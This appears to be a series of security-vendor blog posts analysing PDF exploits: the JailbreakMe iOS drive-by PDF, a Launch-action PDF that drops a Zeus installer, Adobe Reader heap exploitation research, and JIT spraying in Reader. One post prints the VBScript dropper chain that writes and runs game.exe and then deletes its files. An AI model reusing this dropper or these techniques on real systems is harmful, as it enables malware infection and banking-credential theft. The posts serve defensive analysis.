Unless you’re on a trek in the Himalayas, by now you’ve probably heard one way or another that the infamous “Jailbreakme” website is back to free iPhones (including iPhones 4 running iOS 4.0.1) and iPads : it’s just everywhere on the web, even with videos and tutorials.

However, fewer resources address the technical aspect of jailbreaking. You might have found out that the online jailbreaking tool is resorting to a drive-by-script exploiting a 0-day vulnerability. We’ll try and provide a few other technical findings below.

First, let’s connect to the site with a proper user-agent (i.e. iPhone’s Safari). It gives us a nice Javascript, whose interesting part is:

function get_page(){return model==null?null:("/_/"+model+"_"+firmware+".pdf"}

That is to say, the user is automatically redirected to a malicious pdf based on the model of the device and the firmware version.

As directory listing is enabled, we were able to list all the files in the corresponding repository:

The file “iPhone3,1_4.0.pdf”, for instance, features an encoded PDF Type1C font (Compressed Font Format) stream that looked suspicious enough for us to decode it (thanks to the excellent pdf-parser tool from Didier Stevens). In the now clear-text stream, we could identify at least one manifest (offset 0xbcd – see below) and an iOS executable (offset 0×1109, we will get back to it later on).

Note the large values for IOSurfaceBytesPerRow, IOSurfacePixelFormat, IOSurfaceHeight and IOSurfaceWidth in the manifest above.

The corresponding system API framework is basically not documented, but we can easily guess there is an allocation issue in an IOSurface object. As IOSurface objects run in kernel space, the process can bypass usual security restrictions.

It is highly likely this 0-day exploit can be used for other means than jailbreaking an iPhone/ iPod/ iPad. Consequently, Will Strafach wrote an iPhone application that detects suspicious PDFs and warns end-users when they are at risk.

As for the binary in the decoded PDF stream, essentially, it pilots the jailbreaking.
The executable starts by checking it can access /bin/bash or not via a BrowserController object (see figure below): if bash is accessible, it concludes the device is already jailbroken and recommends not to jailbreak it again. Otherwise, it considers the device is not jailbroken:

If the device is not jailbroken, the executable then downloads hxxp://jailbreakme.modmyi.com/wad.bin into a buffer of type NSMutableData, named wad (itself member of a class the author called “Dude”).
Before going any further, the executable checks that the downloaded version of the file wad.bin starts with the four bytes 0×42424242 (’BBBB’), then followed by its length.

The wad.bin file is exactly 3909273-byte long, i.e 0×3BA699. This length is stored in bytes 4, 5, 6 and 7:

$ hexdump -C wad.bin | head
00000000  42 42 42 42 99 a6 3b 00  15 b5 01 00 78 9c ec 7d  |BBBB..;.....x..}|
00000010  0d 9c 54 c5 95 ef bd dd  3d 43 33 34 70 81 46 87  |..T.....=C34p.F.|

This pattern may be used in the frame of counter-measures (eg: Snort signatures, etc…), to prevent jailbreaking from one’s network, for some reasons.
Additionally, it is worth noting a cookie keeps information regarding the jailbreaking attempts (date and time of access to jailbreakme.com, PDF file downloaded etc).

At this point, parts of the buffered wad.bin are dumped in inflated format on the device in /tmp/install.dylib. The dynamic library is then opened, and the do_install symbol is called. This is likely where the actual jailbreaking occurs.

Afterwards, the remaining XZ compressed data contained in wad.bin is then uncompressed, which can be reproduced manually (credits to Gecko_UK):

$ dd if=./wad.bin skip=111905 of=./wad.xz bs=1 count=3797368
$ 7zr x wad.xz
$ mv wad wad.tar
$ tar xvf wad.tar
...2009-04-27 16:34 Applications/
...2009-04-27 16:34 Applications/Cydia.app/
...2010-07-30 10:55 Applications/Cydia.app/commercial.png
...2010-08-01 20:52 Applications/Cydia.app/Modes/
...2009-08-09 11:55 Applications/Cydia.app/Modes/REMOVE.png
...2009-08-09 11:55 Applications/Cydia.app/Modes/INSTALL.png
...2010-08-01 20:52 Applications/Cydia.app/Modes/NEW_INSTALL.png -> INSTALL.png
...

And the jailbroken environment (Cydia applications, etc…) is installed on the device.

– the Crypto Girl (Axelle Apvrille) and the Vulnerability Guy (David Maciejak)

Although it is not a new idea to run an executable from within a PDF, the researcher Didier Stevens present a trick technique to make it more practical, “in the real world”.

In this post I will dissect a PDF document using this trick (MD5: 1dcd4a3f5d05433fcebf88d9138a1966), indeed found in the wild. As one of vendors affected, Adobe was investigating this issue and give a temporary solution. But no patch is available yet. In fact there maybe no patch at all… and although CVE number CVE-2010-1240 is assigned for this issue, Some people think it is not a vulnerability, for it requires user interaction.

0day or not, and vulnerability or not, it *is* a threat either was – and Fortinet provided protection for the customer: “PDF/Pidief.BV!exploit” for AV and “PDF.With.Launch.Action” for IPS, each tackling the threat from a different angle for better resistance to threat variation. Since no patch is available from vendors like Adobe yet, it is also important for you to be aware of the form of this trick found in the wild.

The malicious PDF document source code looks like the following:

Following is what you will see when open this PDF with latest Adobe Reader (9.3.2).

When you click the button “Open”, the following is executed:

/P (/c echo Set fso=CreateObject(”Scripting.FileSystemObject”) > script.vbs [...Truncated...] && script.vbs && batscript.vbs

This effectively drops, populates and executes a VB script called script.vbs, which final contents are the following:

Set fso=CreateObject(”Scripting.FileSystemObject”)
Set f=fso.OpenTextFile(”doc.pdf”, 1, True)
pf=f.ReadAll
s=InStr(pf,”‘SS”)
e=InStr(pf,”‘EE”)
s=Mid(pf,s,e-s)
Set z=fso.OpenTextFile(”batscript.vbs”, 2, True)
s = Replace(s,”%”,”")
z.Write(s)

Basically, it merely extracts an embedded “batscript.vbs” in the PDF document and drops it in the current directory. This “batscript.vbs” contains the following:

Dim b
Function c(d)
c=chr(d)
End Function
b=Array(c(077),c(090),c(144),[Truncated]
Set fso = CreateObject(”Scripting.FileSystemObject”)
Set f = fso.OpenTextFile(”game.exe”, 2, True)
For i = 0 To 35328
f.write(b(i))
Next
f.close()
Set WshShell = WScript.CreateObject(”WScript.Shell”)
WshShell.Run “cmd.exe /c game.exe”
WScript.Sleep 3000
Set f = FSO.GetFile(”game.exe”)
f.Delete
Set f = FSO.GetFile(”batscript.vbs”)
f.Delete
Set f = FSO.GetFile(”script.vbs”)
f.Delete

This essentially drops a binary file called game.exe from an array of binary codes and runs it. In turn, game.exe downloads and installs an instance of the infamous Zeus Bot, whose main purpose is to steal (including using live interception) banking credentials and information.

All that from a simple user click. Consequently, if you happen to run into such a dialog when opening a PDF document, consider that there might be something rotten in the Kingdom of Denmark (or at least, in that document); and do not be too prompt to click “open”.

Fortinet detect game.exe as W32/Agent.DJBN!tr and the Zeus bot instance as W32/Zbot.AISS!tr. A detailed analysis of the Zeus Botnet is avalaible on the Fortiguard Center.

Guillaume Lovet contributed to this post.

As announced in a previous blog post, we presented at Black Hat Europe 2010 last week. Several people have expressed interest in our research, so we decided to release publicly the White Paper, the updated slides and the relevant source code:

White Paper (PDF)
Slides (ppt)
Source Code (Python scripts for the Immunity Debugger)

Alternatively, you can find all of them at following index page:

http://www.fortiguard.com/papers/Adobe_Readers_Custom_Memory_Management_a_Heap_of_Trouble.html

The slides include a real-world case study, involving a “former-zero-day” vulnerability (CVE-2010-1241, previously CVE-2010-2000), which was discovered by myself and patched in the recent Adobe Quarter Security Release, the day before our presentation (as we follow the principles of responsible disclosure, it was necessary if we wanted to disclose details of the vulnerability during the presentation). We explained step-by-step how to leverage the custom heap management (in this case, the BIB system) to achieve solid exploitation of the vulnerability.

As a side note, after the presentation, we got asked why the demo exploit file was so big (almost 168kb). It is because we implemented a BIB memory adjusting method in the PDF file, to ensure stability of the exploitation. We did not mention it during our presentation due to the limited presentation time, but you can find all the details in Section V of the White Paper (sub-section: “Adjusting the Memory State”). In a nutshell, we “grabbed” all small BIB blocks of the cache by inserting a significant number of Font Resource objects. It looks like the following:

Finally, please feel free to contact us if you have any other questions.
hfli[0x40]fortinet[0x2E]com / glovet[0x40]fortinet[0x2E]com

Thanks to everyone who attended, see you next year!

In the middle of April in Barcelona, my co-worker Guillaume Lovet and I will give a presentation at Black Hat Europe 2010, which is named “Adobe Reader’s Custom Memory Management: A Heap of Trouble“. This talk focuses on the custom heap management, which is being used on Adobe Reader.

In fact, when Adobe Reader is processing a PDF file, in most allocation cases, it does not directly use the system’s heap, but maintains its own heap management system on top of the system-level heap management system. Actually, this feature provides an easier and reliable way to leverage PDF heap-based vulnerabilities.

In this presentation, we dissect its mechanisms with in-depth analysis, and point out its weaknesses by showing how we obtain exact EIP control in many different heap corruption situations.

And, we will also show a working exploit for a PDF zero-day vulnerability we discovered recently in the latest Adobe Reader 9.3.1 (where DEP is enabled by default), as a demonstration of our research. This exploit implements one of the exploitation technologies for the custom heap managements. You may check it out here.

 

 YouTube: Play Now | Play in Popup | Download

–

Please note that the vulnerability details are currently being protected by our Responsible Disclosure Policy. We are working actively with the Adobe Product Security Incident Response Team to arrange an appropriate timing to disclose the full details (tracked by FG-VD-10-005), since it is highly valuable for this PDF exploitation research. As always, we have developed for our customers a signature in advance against this zero-day vulnerability.

See you there!

You may have taken note of that recently, security researcher Dionysus Blazakis presented a significant technology to bypass thshe DEP (Data Execution Prevention) and ASLR (Address space layout randomization) at BlackHat DC 2010, which is called “JIT Spraying” (The white paper can be found at here).

In fact, JIT Spraying is a general idea, to generate executable code in accordance with the attacker’s wish in the memory. In that presentation, the researcher shows how to implement this technology in Adobe Flash ActionScript Virtual Machine as an example.

As shown in my other post: A Look Back at PDF Vulnerabilities, Adobe Reader could play Flash file independently (without Adobe Flash Player installed in the system). Following quick test will show that the JIT Spraying therefore works here as well.

1. We use the same ActionScript code showed in the paper.

var y = (0×3c54d0d9 ^ 0×3c909058 ^ 0×3c59f46a ^ 0×3c90c801 ^ 0×3c9030d9 ^ 0×3c53535b);

2. We embed the .swf file into PDF. Note that the red-marked option parameter makes playing the .swf file automatically.

3. Now let’s see have a look at the right places (highlighted in red below) in the memory space of Adobe Reader process once it loaded our crafted PDF:

The ActionScript code we used in our embedded flash file clearly appears, in the form of native machine code (see the series of XOR operations above). Meaning, it was compiled by the JIT compiler.

[As a side note, the responsible file for playing Flash is named "authplay.dll", in fact it is a standard Shockwave Flash application.]

Therefore, we know that PDF has the same situation as in the Flash: code can be “sprayed” via the JIT compiler.

As we know, DEP is enabled from Adobe Reader 9.2.0, which indeed prevented a lot of PDF based attacking, such as the popular exploit of the vulnerability CVE-2009-4324 in the wild does not work on the latest Adobe Reader.

Unfortunately, now the situation changes, the DEP on Adobe Reader became much easier to be attacked due to the Flash playing feature in PDF. And it is expected that the working JIT Spraying exploit will appear in the wild in the near future as the researchers (both Blackhats and Whitehats) are paying more attentions on this area, so PDF zero-days will get a brand new way to keep their lives. It is important information for our PDF zero-day defense as well.

Guillaume Lovet contributed to this post